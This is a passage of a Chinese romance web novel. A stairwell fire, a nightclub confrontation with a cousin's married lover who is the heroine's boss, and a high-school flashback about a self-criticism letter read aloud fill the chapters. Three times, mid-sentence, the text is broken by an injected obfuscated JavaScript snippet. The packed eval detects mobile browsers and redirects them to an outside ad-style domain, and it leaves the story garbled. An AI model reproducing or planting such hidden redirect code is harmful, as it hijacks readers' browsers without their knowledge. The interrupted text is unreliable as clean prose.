乔迦茵看着他行云流水的动作怅然若失,等他回来向她扬眉时,感慨道:“要是你是我表妹就好了。” 宋玉津:“……” 听上去是认可,却让人觉得挫败。 “不过贺白晓也不是一无是处。”乔迦茵懒洋洋地说,“她用完我的洗护用品后居然会物归原处,这一点真是令我刮目相看了。” 宋玉津一边擦桌子一边说:“反讽。” “真的不是。” 宋玉津抬眼瞥她:“什么情况,变菩萨心肠了。” “是你对我的认识太落后,早跟你说了别一副自以为很了解我的样子。”乔迦茵道,“我现在好说话得很,昨天教实习生XLOOKUP函数怎么用,讲了至少有十遍,他还是交了一份全错的表给我,我照样和颜悦色。” “VIP?” 乔迦茵惊讶:“你怎么知道?” “你那公司不至于正儿八经招个这么蠢的intern。”宋玉津擦完桌子转去岛台后面,拧开水龙头洗手,“你这不是好说话,是对权威屈服了。” “我对一切都屈服了。”乔迦茵跟在他身后,半倚着岛台,“我进公司面了五轮面试,每场都刨根问底极其严苛,实习了整整一年才拿到转正留用,别人都在毕业旅行的时候我在通宵赶文件,毕业论文都是夹缝里写出来的。组里其他人,有人是高考大省状元,有人托福119分,有人是安泰绩点第一。” “但与此同时,实习生只要跟他父母说一句想来实习,一通电话就这样轻易进来,领导们还屡次三番劝他考虑转正留下。”她说,“而我只觉得见怪不怪,对什么都从容接受,你看,我早就不是以前那种攻击性十足的黑魔仙人格了。人各有命,没什么能改变,我能把自己的生活安排好就不错了。” 宋玉津满手泡沫地转过脸来看她,乔迦茵严肃地与他对视。 半晌,宋玉津转回去继续洗手,低着头问:“说给我听的,还是说给你自己听的?” 乔迦茵答非所问地说:“这个时候你竟然不说点鼓励的话。” “我一直在鼓励你好吧。”宋玉津莫名其妙地道。 “哪里?什么时候?说了什么?” “……”他拧上水龙头,甩了甩手,“反正鼓励过你了。” 乔迦茵直觉他情绪低沉下来,但没理解原因。 不过紧接着,她就预感到陷阱。 宋玉津回过身来,抬手拈了一下她肩膀上一缕头发,厨房的暖光下,额头、鼻尖和唇珠都像衔着细小的亮点,笑意有些令人捉摸不透:“我们什么关系,你需要我的鼓励?” 怎么又来问这个,乔迦茵拂开他的手,语气淡淡地反问:“不是告诉过你了吗,或者你希望是什么关系?” 宋玉津无辜道:“除去生理需求之外,你也可以当我是朋友。” 乔迦茵笑了笑。 “嘴也亲了,觉也睡了,现在来当朋友。”她手指点了点他肩膀,后退半步,说,“我没什么兴趣,随便你吧。” 宋玉津微怔后意识到什么。乔迦茵看似不在意,在这段时间里和他相处时从未提及别人,其实始终介怀于他们不清不白的关系,才把边界设定得如此明确。 因为在她眼里,这仅仅是一段随时都可能结束的关系。 “我要澄清一件事情,乔迦茵。”宋玉津没有犹豫很久,略微沉吟后一手搭在岛台上开口,“实际上我和盛霏很早就——” 突如其来的手机铃声打断了他的话。 “我的。”乔迦茵脸色有点阴,绕出厨房去拿手机,“可能邵允承找我吧。” 宋玉津:“……” 她这个时候把邵允承搬出来,分明是生气了,因为他提了盛霏。 一提到邵允承,宋玉津就气不打一处来,他们两个是怎么回事!看上去根本没把对方多么放在心上,尤其乔迦茵,但偏偏他现在和她也陷入了这种若即若离的关系,邵允承甚至还能比他更名正言顺一点。 手机方才被放在饭桌上,乔迦茵几步路过去,铃声依然在响。 她虽然随口抛了那句话出来,心下知道大概率不是邵允承,他们两个自旅程分别后鲜有交流,微信上聊过几句,邵允承就在最近还提出过约她出来玩,被她以太忙为理由搪塞过去。 来电的是贺白晓,嗓门极大,她这里一接通就嚷嚷起来:“姐!乔迦茵!家里着火了!” * 贺白晓在电话里大呼小叫,乔迦茵搭了宋玉津的便车冲回家里,才发现只是楼梯间起火,她赶到的时候已经扑灭了,几个全副武装的消防员在那里记录着什么,围拢在其中的贺白晓面露难色。 贺白晓一望见她就像看见救星,立刻指向乔迦茵:“我姐来了,问她问她。” 乔迦茵皱着眉头看一整面墙都被烧黑的楼梯间。 消防员们齐齐转向她:“是房主吗?” “不是,我是租客。”乔迦茵道,“房东大部分时间在海外,一时半会回不来。有哪里烧坏了吗?” 趁消防员和乔迦茵对话的间隙,贺白晓偷偷溜出拥挤的楼梯间,和悠闲站旁边的宋玉津打上照面。 贺白晓不认识他,只道:“让一让,我要进去。”他正好站在门口。 宋玉津默不作声地侧身让路,贺白晓顺势拉开门,进去前疑惑地看了他一眼,但还是毫不犹豫地反手关上了门,砰一声响。 差点碰一鼻子灰的宋玉津:“……” 这女生就这么把她亲姐和他都关在了门外。 乔迦茵总算送走消防队,回过身来望见这副情状,也是满脸无语,抬手狂按了好几下门铃,贺白晓才来开门。 她大约这才意识到宋玉津是和乔迦茵一起的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15062366|157423||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,直接皱起脸问乔迦茵:“这个人是……?” 乔迦茵说:“高中同学。” “你不是说你今天加班吗?” 乔迦茵:“……” 身后的宋玉津适时解围:“你姐加班中途,来找我吃饭。” 贺白晓平平“哦”了一声,继续侧着头问乔迦茵:“他长挺帅,是你高中时候喜欢的那个?” “不是。”也是宋玉津答的。 乔迦茵闻言,看了他一眼。 贺白晓挺失望的,拉长声调说了句:“无聊。” 乔迦茵白了她一眼,说:“跟你说过没有那个人。” “放屁,之前你妈和我妈聊天我全都偷听到了,你都写检讨……” 宋玉津听得云里雾里,乔迦茵被迫写检讨这件事他知道,和她喜欢的人什么关系? 但乔迦茵直接把贺白晓打断了,冷脸道:“我还没找你算帐,贺白晓,刚才消防员说了是楼道垃圾桶的烟头起火,你丢的吧?” 贺白晓骂了句脏话,说:“我什么时候抽烟了?” “你不抽烟打火机天天放茶几上?你每天过生日吹蜡烛啊?” “打火机和抽烟有关系?你有我抽烟的证据吗?” 乔迦茵火气上来了:“隔壁邻居不在家,我不在家,还有谁没事往我们楼道垃圾桶扔没灭干净的烟头?” “你拿照片录像出来啊!” 贺白晓撂下这一句,大概也觉得心里没底,转身就回房间了。 宋玉津在她们两姐妹吵架的时候就已经自发尴尬起来,苦于找不到开口告辞的时机,此时总算是松了一口气。 乔迦茵转向他,神情也有一些疲惫:“今天谢谢你了,要进来坐一会儿吗?” “不用,我直接回去好了。” 噢,乔迦茵一手扒拉着门框,眼神闪了一会儿,问他:“你觉得我高中喜欢的人是谁?” 宋玉津诚实地回答:“廖明黎远。” 然后他停顿几秒问,“你这个沉默是什么意思。” “没什么意思,你答得很对。”乔迦茵说。 对话结束,但宋玉津仍未动身,站在玄关处略微低头看着她,思考自己是否遗漏了什么。 乔迦茵眼神澄明地和他对视。 宋玉津放低声音,又问:“那下次是……” “下次再说,我发消息给你。”乔迦茵道。 无话可说,宋玉津思虑再三,决定不进行告别吻,以免触怒乔迦茵,但还是伸手将她一缕乱发理顺到耳后,再很快地收回,站直,犹如无事发生。 “拜拜。”他说。 乔迦茵也说:“拜拜。” 宋玉津刚迈了半步,贺白晓又像龙卷风一样从房间里冲出来,满脸是泪地抱住乔迦茵的手臂。 “乔迦茵你得帮我!”她眼泪汪汪,注意不到相隔一拳距离的宋玉津已经一脸放空,“我男朋友有问题,他在外面有人!” 42. 第 42 章 贺白晓声泪俱下的控诉实在太过语无伦次,加之乔迦茵对这位表妹的感情生活实在是疏于关心,导致需要大量背景知识的补足,她花了好一会儿工夫理解贺白晓当前的烦恼。 她那个传说中的男朋友,似乎是网上认识的,长居本市。对方已经工作,想来年纪比她大上一些。贺白晓学校就在邻省,二人时不时见面,她这个假期过来实习,本来就存了过来找他的念头。见过几次面后,凭借着一些蛛丝马迹,贺白晓对他有所怀疑。 今晚不久前,贺白晓的朋友发了张照片给她,问图中和其他女生谈笑的侧影是不是她男友。 贺白晓说挺像的,然后朋友回了一间夜店地址,说此时此刻就在这里玩。 她如遭雷击,听闻消息后就神思恍惚许久,乔迦茵估计她迷迷糊糊间抽了烟,烟头扔楼道里没注意造成失火,但贺白晓没提这段,只说见到她回来,强硬要求她一同去捉奸。 “我本来是想找他一起住的,结果来了上海他才说不太方便。”车后座上,贺白晓抽着鼻子说,“一开始我还真的以为像他嘴上说的那样,是觉得我年纪还小,尊重我,不用进展那么快,但我在上海接连找他几次,才觉得不对劲,他好像瞒着我很多事情。” 乔迦茵兴趣不大,一边听一边玩手机,头也不抬地递了张纸巾过去,问:“他到底几岁?在哪里上班?住哪个区?” 贺白晓怔了一会儿:“……三十。” “三十?”乔迦茵说,“你才二十……呃,你二十几来着?” 贺白晓无语道:“二十三,七岁也没有差很大吧。” 乔迦茵翻了个白眼:“问题不是年龄是资历。二十七和三十四差得不远,三十和三十七说同辈都行,但是二十三和三十就是学生和成熟社会人士的区别。” “你觉得我不成熟?”贺白晓道,“你不知道我谈过多少恋爱,我早就阅人无数了,心理上我们完全能互相理解。” 无法沟通,乔迦茵懒得理她,只道:“你理解他,那你回答我另外那两个问题。” 贺白晓陷入思索:“上班不知道,而且他就算报公司名字,我怎么知道是哪个,那些乱七八糟公司名字都差不多——住,住哪个区呢,他跟我说从家里可以看到江……” 乔迦茵总结:“等于一无所知。” 贺白晓没说话了,大约迫于当前形势不得不坐在车上,只能隐忍不发,狠狠瞪着她。 在开车的宋玉津偷瞄了乔迦茵一眼,忍着一点笑,眼神意思是,差不多得了。 回头贺白晓在车上真号啕大哭起来,他更尴尬。 那间夜店是本市近年比较热门的club,乔迦茵去过几次,也算熟悉。 贺白晓一下车就拉着乔迦茵一起,还把手机上她朋友拍的侧影放大展示:“就是这个人,你帮我一起找。” “这能看出个鬼啊,这么黑。”乔迦茵不假思索道。 贺白晓冷着脸将屏幕亮度拉到最大。 乔迦茵凑近看了一会儿,还是无奈道:“你怎么认出来的……我感觉我三十以上的男同事全都长这样。” 宋玉津也凑过来看了一眼,照片里只有模糊的侧脸,瘦脸、侧面扁平、钝下巴,架了一副眼镜,淡色衬衫,灰色马甲。 他不由得感叹:“也好像我的同事们。” 贺白晓斩钉截铁道:“我不会认错,就是他。” 贺白晓说完就要往里走,拽了几下却没拽动乔迦茵,回过头恨恨看了她几眼,还是迫切捉奸的心占了上风,丢下一句“我先进去找人”就噔噔噔往里走了。 乔迦茵转头问宋玉津:“你不回去吗?其实你没必要跟着过来,我们打车就行了。” 宋玉津道:“这么晚,你们两个女生,我没可能看着不管啊。而且这里也不好打车。” 他语气随意,咬字挟着一点笑,理由无懈可击。 乔迦茵仰头观察他一会儿,接受了:“那你一起过来吧,看热闹顺便喝一杯。” 她就是抱着这个想法才没拒绝贺白晓,手机上还在和温见竹同步聊天。 周末夜晚,夜店人头攒动。宋玉津和她一步距离,跟在她身后进去。 没料到乔迦茵熟门熟路,步速奇快,一不留神就被她远远甩开。 音响声音震耳欲聋,乔迦茵扫视一圈,在某个卡座附近望见贺白晓身影,像是已经抓到了人,对着一个男人在急切说着什么,上手去拉对方的胳膊。 室内光线太暗,人太多挡住视线,乔迦茵看不清楚那男的长什么样子,想往那边过去,途经一张酒桌时,被人碰了几下手臂。 她以为是旁边人酒醉不小心碰到,专心致志往贺白晓那处走,随后手臂就被拉住了。 乔迦茵烦躁地回过头,是个男生,冲她露齿笑着,比了比手势问:“美女姐姐,要不要一起玩?”这酒桌上还有大约七八个男女,都是年轻人模样。 她摆摆手表示不参与,刚抽出手臂,又被那男生拉住了。 他对她说了句什么,还是很客气礼貌地笑着,但音乐声把话音完全盖住。乔迦茵耳朵对过去,问:“什么?” 那男生将手机屏幕递过来,上面赫然一个二维码。 他说:“你好漂亮,可不可以加下你微信?” 为了让她听见,靠在她耳边说的。 乔迦茵反应慢一拍,刚听明白人家在说什么,肩上突然一阵外力把她往后带,宋玉津把她揽过去了。 “她和我一起的。”他脸色冷淡,简单对那男生说。 那男生也听不见,大声问了句:“什么?” 宋玉津抬高音量又说了一遍:“她和我一起的。” 男生指了指自己耳朵,摊摊手,表示还是听不见。 宋玉津极其郁闷,未及发作,被乔迦茵拉了一下袖子。 乔迦茵心下觉得好笑,那男生明显看懂了,不想丢脸在装傻,宋玉津硬要和人较劲。 她探头看贺白晓那边有没有出事,揪着宋玉津袖角就往里走。 刚走到那卡座附近,推开四边人群,正好瞥见贺白晓容色愤怒地喊了句什么,高举起酒杯,就往对面男人脸上泼去! 周遭座席哗然,深褐色酒液尽数淋在那人衣领和夹克衫上。那一刻,宋玉津陡然感觉自己衣袖被狠狠往下扯了一把,连带着手臂和半边肩膀都偏了一下。 什么情况?他侧过头,看见乔迦茵脸色紧绷,深深皱起眉头。 贺白晓泼完酒,似乎没想到后续的动作,傻愣愣站在那里,神情有点空白。紧接着,那男人身边的女人反手也将酒泼往她头脸。 贺白晓未及反应,被淋了一身,立即冲上去要和人干架,四周保安和侍应生即刻冲上来将她拉开了。贺白晓回过头,望见乔迦茵,立即高喊起她名字,然后趁旁边人稍有松懈,立刻挣开他们向这里跌跌撞撞跑了过来。 乔迦茵面色冰冷,在她一身泥泞要贴过来之前拉着宋玉津往后退一大步——这一片都是卡座,她这么一避开立刻撞到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15089583|157423||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身后不知道谁的后背。 她回过头要道歉,对方也恰巧转过脸来,四目相对,共同都愣住了。 好巧不巧,盛霏。 “J!”盛霏正在兴头上,想也没想,喜滋滋地打了个招呼,说,“一起来玩吗?” 随后目光落到她旁边宋玉津脸上,吃惊地脱口而出:“你也在?!” 下一秒,像是突然反应过来自己和宋玉津还有那层所谓的尴尬关系时,整张脸变作极其纠结复杂的神情。 宋玉津:“……” 这个场景实在太不合时宜。 就在他思索怎么用最少的字数向盛霏简短说明来意时,侧边衣袖一空,乔迦茵拎着贺白晓往旁边走了,压根没回头看他一次。 贺白晓穿的白色上衣,酒液痕迹极其明显,还在滴滴答答往下淌,一片脏污。乔迦茵把人拎到洗手间,拧开水龙头让她擦洗,站在旁边抱着手臂问:“你电视剧看多了?上去就泼酒,你不怕人家直接拿酒瓶砸你?” “他不是那种人。”贺白晓埋头清理着说,“他很懦弱的,胆小怕事。” “三十多岁懦弱胆小。”乔迦茵冷嘲。 “是他旁边那个女的泼我,他都没还手。”贺白晓说。 “那真是多谢他高抬贵手了。” 贺白晓沉默一会儿,在汨汨水流声中说:“你不用这样讲话,我自己也觉得很难堪,那个女的估计连他的女朋友也不算,他们根本就没有多熟悉,只是身体上动作亲密,我看得出来。这种女人太常见了,为了点钱就……” 乔迦茵听不下去,打断说:“在他眼里,你和她有什么区别?” “你说什么,区别大多了,我们每天都聊天,他完全了解我的内心,他还专门来找过我……” 乔迦茵说:“没区别,你恋爱谈傻了。这种男人所有的话术都是同一套模板,对每个女孩都是那些话,偏偏你还觉得自己是特别的。至于找你,那是出差顺手的事,差旅费都报销的,何乐而不为。” 贺白晓说:“你冷血动物,根本不懂爱。他是爱我的,但他确实不是好人,我现在已经认清了,会和他分手,你也不必多说了。” “你说爱就爱吧。”乔迦茵笑了一下。 贺白晓从镜子里望见她那点笑,忽然就受不了了,红着眼圈道:“那不然呢?难道我这几个月都是在和虚假的人谈恋爱吗?那些话,那些陪伴不可能没有真心,我自己经历过,我还不知道吗?……我就不该和你说这些,你知道什么呢。”她想了想,又说,“其实我很可怜你。以前你爸你妈就不爱你,所以你也根本不会爱人,你谈恋爱一直分手,是因为你自己有性格缺陷——” 她自以为说了极其大胆的话,说完就低头洗脸,拿纸巾擦脸的时候又挑衅地望向乔迦茵,后者仍是无动于衷的样子。 乔迦茵只说:“我现在当你发酒疯,你再说下去,自己回去收拾行李,到外面住酒店吧。” 贺白晓自然拿不出住酒店的钱,原本她那男友还时不时给她打点零花钱,今晚这酒一泼出去也没了着落,她只好愤愤地将纸巾用力掷进纸篓,硬邦邦地说:“我要上厕所。” 乔迦茵看她一眼,动身说:“我到外面等你。” 她走出女洗手间,对面男洗手间就走出来一个刚清理完衣服上酒液的男人,正是方才贺白晓事件的当事人。 迎面撞上,没法避开对视。乔迦茵面色变了几变,咬了咬牙,还是喊出了平日里的称呼:“戴总。” 43. 第 43 章 戴总面上亦很意外,但他只是眉头稍扬,就神色镇定地向乔迦茵点点头:“迦茵,真巧。” 语气好得像在说反话。 乔迦茵也简单点头,站着没动。她还在等贺白晓。 以及,她确信方才戴总绝对看见了她,只是闭口不谈。 戴总似乎是想走,迟疑片刻,还是问道:“你和小贺认识?” 小贺这称呼令她啼笑皆非,乔迦茵模糊地答了个“嗯”,没进一步解释。 这一声也足够了。戴总笑着捏捏鼻头,略显困扰的为难神色,道:“还好,我和她已经结束了。我相信你足够专业,不会让这些无关的私事带到工作场合来。” 叫她守口如瓶视而不见的意思,乔迦茵还是那样“嗯”了一声。 她脸上有浅淡的笑,在酒吧昏昧的光线下显出几分轻慢的媚意,如丝如缕,要将人网住似的。 戴总不免多看几眼,道:“今天很漂亮。” 乔迦茵忍不住笑容更大一点。 她偏了偏头,让他好看清自己面上的嘲讽,说:“这算不算无关的评价?” 戴总没反应过来,她听闻身后响动,向旁边让了半步,又道:“所谓的漂亮只是流于表面的形象,暂时堆砌出来的,但我在公司见过您妻子,她很有风度——” “什么?”从她身后推开门出来的贺白晓一听就炸了,“你有老婆?!你站住别走!喂!!” 戴总一见贺白晓转身就走,步伐飞快。 贺白晓要冲上去问个清楚,附近保安仍旧记得她方才闹事的前科,直接走过来拦路,围拥过来比了几个手势,是希望贺白晓离开的意思。 “行了别追了。”乔迦茵收起笑容,烦躁地半拽着贺白晓往外走,“这里吵死了,先出去。” 她轻车熟路,直接拉着人沿着墙边走了一条不受注意的路线出去。夜间室外,凉风扑面而来,乔迦茵打了个喷嚏。 贺白晓摆弄了一会儿手机,又崩溃哭叫起来:“他把我拉黑了!我要回去找他问个清楚!” “找个屁。”乔迦茵没好气道,“找到他再泼一杯酒然后喜提夜店黑名单?” “可他凭什么拉黑我啊?我们……我们都没分手!” 乔迦茵笑了一声:“还分手呢,事到如今你还觉得你们两个是正经恋爱啊?”她顿了一下,抬起眼睫对贺白晓道,“他是我上司,他结婚快三年了,女方时不时会来公司看他。” 其实看戴总妻子不定期就要来他公司一回的习惯,表面上是关心,实际上是查岗,以及戴总平日里待人接物在礼貌之外夹带几分暧昧的态度,乔迦茵猜测过他在外面玩得不少,只是没料到会落到贺白晓这里。 贺白晓噎了一下,但明显气急了,轻微地颤抖着,半晌才放低了点音量,问出来的语气仿佛自言自语:“那我和他那些……算什么?” “算你倒霉。” “等等,他是你上司。”贺白晓想起什么,转头问她,“那他在公司是不是也是这样?和很多女生搞不清楚。” “没有。”乔迦茵说,“傻子才直接和同事搞。” 贺白晓陡然一转话头:“那你有他微信吧?借我下手机。” 乔迦茵愣了一秒,紧握住自己手机:“你有病吧!你想害死我啊?” 贺白晓到了这种时候,脑子反而好使起来:“你刚才都直接和他提他老婆了,我看你也没想在他手底下工作了。” “这能一样么?”乔迦茵道,“我提一嘴他老婆,不会被他开除,顶多穿穿小鞋。你一个电话过去,我明天可以去公司收拾东西了。” “你宁可被穿小鞋也要在他手底下继续工作?”贺白晓满脸鄙夷,“乔迦茵,你怎么混得这么差了啊?” 她试图去抢手机,没抢到,想一想又说:“既然你现在过得这么窝囊,刚才非要说那句话干嘛?” “为了爽。”乔迦茵说。 她也想过忍一下,没忍住。眼下离开了那个场所,吹了点冷风,缓慢回过神来,一口气堵在喉间不上不下。 贺白晓是个傻的,即便如此乔迦茵也实在看不上戴总这等品行,何况他们只是工作上下级,不该置喙彼此的私生活。但眼见了这些再继续在他手底下工作,也很难回到原本事不关己的平稳心态。相信戴总那边亦是如此。 贺白晓瞪着眼睛看乔迦茵。她眼型和乔迦茵有些相仿,圆杏形状,眼尾微小地上扬,眼角勾勒出尖锐的勾。 她突兀地出声:“我不甘心,我还是要问明白。” 乔迦茵防备道:“你要干嘛?手机我不会借给你,现在那群保安盯着,不会让你再回去。你今天丢人现眼还不够了?” 贺白晓冷冷说:“现在就放弃走人,我就成了逃兵了。” 她话头停了一下,乔迦茵顿感不妙,因为看贺白晓眼神,这个停顿并不是出于无奈,而分明是她想到了什么。 “刚才那个开车的男的,其实就是你写检讨书那个吧?你还非说不是。”她道,“你不借我手机,我就去告诉他这件事。” 乔迦茵怔了片刻,没所谓地笑了笑:“检讨这事他知道,你能告诉他什么?” 贺白晓反问:“那他知道你写了什么吗?” 她捕捉到乔迦茵一瞬间的恍惚,终于忍不住笑了起来:“看来我没猜错,原来他真的不知道你把检讨书写成了情书啊?——你装给谁看,乔迦茵,本质上你还不如我呢,你连直面自己内心的胆量都没有。” 乔迦茵抱着双臂,音量大起来:“那不是情书!我写成那样是为了惹怒校领导,不是真心要写给谁,我妈收拾东西的时候翻到而已,她说什么你信什么?” 那封检讨敷衍写就一段后,实在凑不出字数,她独自坐在无人的办公室,笔锋一转,写成了对某个人的感谢信,还用了些稍显暧昧的表达。抱着让教导主任大怒的报复心态在写,写完后却恨不得自己亲手撕了。 她拿着那一张稿纸毫无办法,索性给乔慕打了个电话,扯谎说教导主任太生气,让她今晚不住寝室,回家反省。 乔慕懒得过问学校的事情:“行行行,那你自己打个车回家。” 乔迦茵从教导处桌子上拿了张离校申请,自己填完信息,签上主任大名,就这么前往南门,离开了学校。 那天是周四,第二天她向闫倩请了病假,再次回到学校是下周一。 早自习刚开始,她被教导主任叫去,问检讨书写好没有。 乔迦茵慢吞吞地将那张纸递过去。 教导主任简单扫了眼开头,平平无奇的反省话术, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15122799|157423||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看过一百遍了,立即没了往下读的耐心:“拿回去吧,跟我过来,校长让你一会儿升完旗在司令台上读给全校听。” 乔迦茵:“……” 她站在司令台上时低头看了眼自己班级的方向,没看见宋玉津。早自习时也没见着,当时以为是迟到,眼下看可能翘了早操,或者请了假。 不在也好。深秋的天气,阳光淡薄,西风簌簌吹动着学生们的校服和脚下的青草,司令台的音响年久失修,对着麦克风单纯的呼吸就会牵扯出刺耳的电流音。由远而高的角度看,高中生全都长一个模样,疲乏苍白的神情,在户外睁不开的眼,宽松校服下青春期抽条而肿胀的身体。前几夜都下雨,从地底翻卷出一股泥土味道。 她平淡念完第一段,下意识回头看了一眼教导主任,后者面无表情地等她继续。 “在回顾本次事件,审视我的内心的过程中,慢慢地,我不得不意识到一份强烈的情感,想要宣之于口。”女生清脆而冷淡的声音伴随着滋滋电流声传向整片操场,“下面这些话,写给一个特殊的人——” 电流声猝然大起来,极其刺耳的一声尖啸,底下学生们纷纷捂上耳朵。 教导主任大约是从那一眼里领会到了什么,在她读到这里时,立即去广播室把麦掐了。 乔迦茵不太明显地松一口气,笑着对身边一排校领导们摊了摊手,将那张稿纸折起来收进口袋,自顾自下台,回了自己班级队列。 请愿信这一事算是告一段落,没人继续纠缠下去,乔迦茵不免心情畅快,早操结束后去找温见竹聊天,随口问了句:“宋玉津怎么回事?今天都没见到他人。” 温见竹“啊”了一声:“他没告诉你吗?他家人安排他出国读书,今天起就不来了。” * 盛霏在的这间卡座在玩抓手指,她刚喝了几杯,状态正佳,兴致勃勃地伸手参与,音乐声太大,没注意宋玉津在耳边问她什么。 宋玉津问了两遍,实在毫无办法,一把将她抬高的手臂拉下来。 盛霏转过头来怒目而视,宋玉津问她:“你看见乔迦茵了吗?” “没呀,她是不是自己去玩啦?” 不可能,她又不是来玩的。 宋玉津低头给乔迦茵发信息,迟迟没收到回应,旁边另外一个女孩子拉他一起玩,被他摆手推拒了。 盛霏见状极为不爽,不喝酒不玩游戏,杵在这里干嘛? 她冲宋玉津喊:“你们不是一起来的吗?” 宋玉津说:“算是吧。” 算不上一起来,非要说的话,乔迦茵其实是和贺白晓一起来,他只是捎带一程。 “那你怎么会不知道她去哪了?” 宋玉津摇摇头,觉得没法解释,他和乔迦茵处于一段因为名不正言不顺,随时可能被放弃的关系里,可能从始至终只有他一个人在意。 他简短道:“我现在要找到她。” 这时候,卡座里一个年轻男生认出他了,凑上前来点点他肩膀,然后说:“你女朋友刚刚往外走了。” 正是之前要加乔迦茵微信那个。宋玉津不是很信得过他,怀疑地看他两秒,对方无语地又指了指门口,宋玉津这才收起手机向外走去。 盛霏倒是皱起眉头:“女朋友?” 44. 第 44 章 玻璃门。 穿过密不透风的长长走道,时不时有摇摇晃晃的人影擦肩而过,酒池里声音一层层减弱,直到推开那扇玻璃门,越出去,呼吸到扑面而来的凌冽空气,那扇门的漫反射在视野里一闪而逝,仿佛回到了现实世界。 零丁水声,宋玉津才发现不知何时下了秋雨。 贺白晓和乔迦茵就站在门边争执,前者正好朝着这里,一眼望见他,立刻扬声道:“那个……你叫什么来着,就是你!乔迦茵高中的时候——” “贺白晓!!”乔迦茵直接喊了她大名,然后回过头看了宋玉津一眼。 那一眼极为迅速就收回了,宋玉津都来不及分辨是什么情绪。 贺白晓就等在这里,偏头挑了挑眉毛,摊开手道:“手机。” 乔迦茵没动,只道:“你想清楚。你敢说出去,今晚记得给自己订个酒店,我会把你行李全部扔门口。” 贺白晓冷不防被这茬击中,咬牙切齿:“你把我赶出门,你不怕我去找……” “你觉得乔慕管得住我吗?”乔迦茵冷道。 她和贺白晓说话的时候,没注意宋玉津不知何时已经走到自己身后,极近的位置,略低下头问:“高中什么事情?” 乔迦茵给了贺白晓一个威压的眼神。 玻璃门闪动,噪音和欢声笑语像海水一样从缝隙里倾泻而出,乍然滚过每个人耳畔,旋即消失,盛霏走了出来,有点懵的神情:“宋玉津,你和J交往了吗?” “没有。”这句是乔迦茵答的,语气断然。 “我和盛霏早就分手了。”这句是宋玉津对乔迦茵说的,他急着阐明此事,说完后长出一口气,不忘转头问了句盛霏,“我可以说的吧?” 盛霏:“……可以是可以,何况你说都说了,还来问我。” 看到盛霏在夜店玩的时候,基本就猜到一点,但听到这句陈述,乔迦茵还是愣了几秒,问:“有多早?” 宋玉津答:“国庆出去玩之前。” 她没掩饰住惊讶,眼睫毛明显地闪动了一下,陷入沉默。宋玉津仿佛听到她在心里用脏话骂自己。 “等等,什么意思?”贺白晓试图跟上思路,指向盛霏和宋玉津,“你们两个之前是一对?然后乔迦茵你——你还有脸骂我,你比我高尚到哪里去了?” 这回换盛霏理解不了:“啊?”她打量了一眼贺白晓,选择放弃和她交流,看向宋玉津和乔迦茵,“你们两个什么情况?我还没问呢,今天怎么会一起过来?” 乔迦茵指了指贺白晓:“因为她的事,说来话长了。” “别扯上我!”贺白晓焦躁道,“你真把我当傻子耍,你以为我看不出来你和这个男的的关系?普通朋友能像你们这样?”她转头就对盛霏道,“乔迦茵和你的前男友搞不清楚。” 盛霏:“啊?” “至于你。”贺白晓还没说完,侧过头,视线越过乔迦茵朝向宋玉津,快速道,“高中她写检讨的时候,你没去看过内容?” “够了。”乔迦茵阴沉道,“贺白晓,你差不多可以滚了,自己打车回去。” 贺白晓嘁了一声,说:“我还不稀罕和你们这对狗男女坐一辆车呢。” “再多说两句废话,我回家过年把戴总的事情传播到人尽皆知。”乔迦茵说。 贺白晓:“……” 她低声骂了一句,悻悻走到一边去打车。 盛霏抬手道:“等等,你们得等我清醒一下。” 她闭了闭眼睛,然后说:“所以我理解,你们两个现在是……抱歉,刚刚那个女生……” “我表妹。”乔迦茵说。 “噢,你表妹,她的话可信吗?我看她状态也不太清醒,比我好不到哪里去。”盛霏顿了片刻,没得到回答,“那我默认她说的是真的了。” 乔迦茵望向她,低声说:“对不起。” “不用。”盛霏说。 她说完这两个字,视线在他们两人脸上来回几番,也实在不知道该说什么好,僵硬地退了一步,道:“先、先这样吧,这么多信息,我还没想好要怎么反应,我本来只是周末出来蹦个迪放松一下……我先回去了。” 她没等他们说话,伸手将玻璃门用力拉开,火速荡回了另一个声色犬马的世界。 短暂喧嚣过后,室外重归寂静,雨势逐渐加剧。 不远处贺白晓已经打到了车,小跑到路边上车离开。 乔迦茵没看宋玉津,目光落向前方路面上的某一点,说:“她说的高中那个事情,其实是误会了,当时我不想写那份检讨,心情很差,所以刻意写了很多乱七八糟的……” “那天晚上我去找过你。”宋玉津忽然说。 “嗯?” “你写检讨那天。”他不愿意多讲,迟疑了两秒,还是道,“那天我想单独跟你说我要走的事情,措辞想了一整天,晚自习中途,你被闫倩叫走之后一直没回来。我去找你了。” 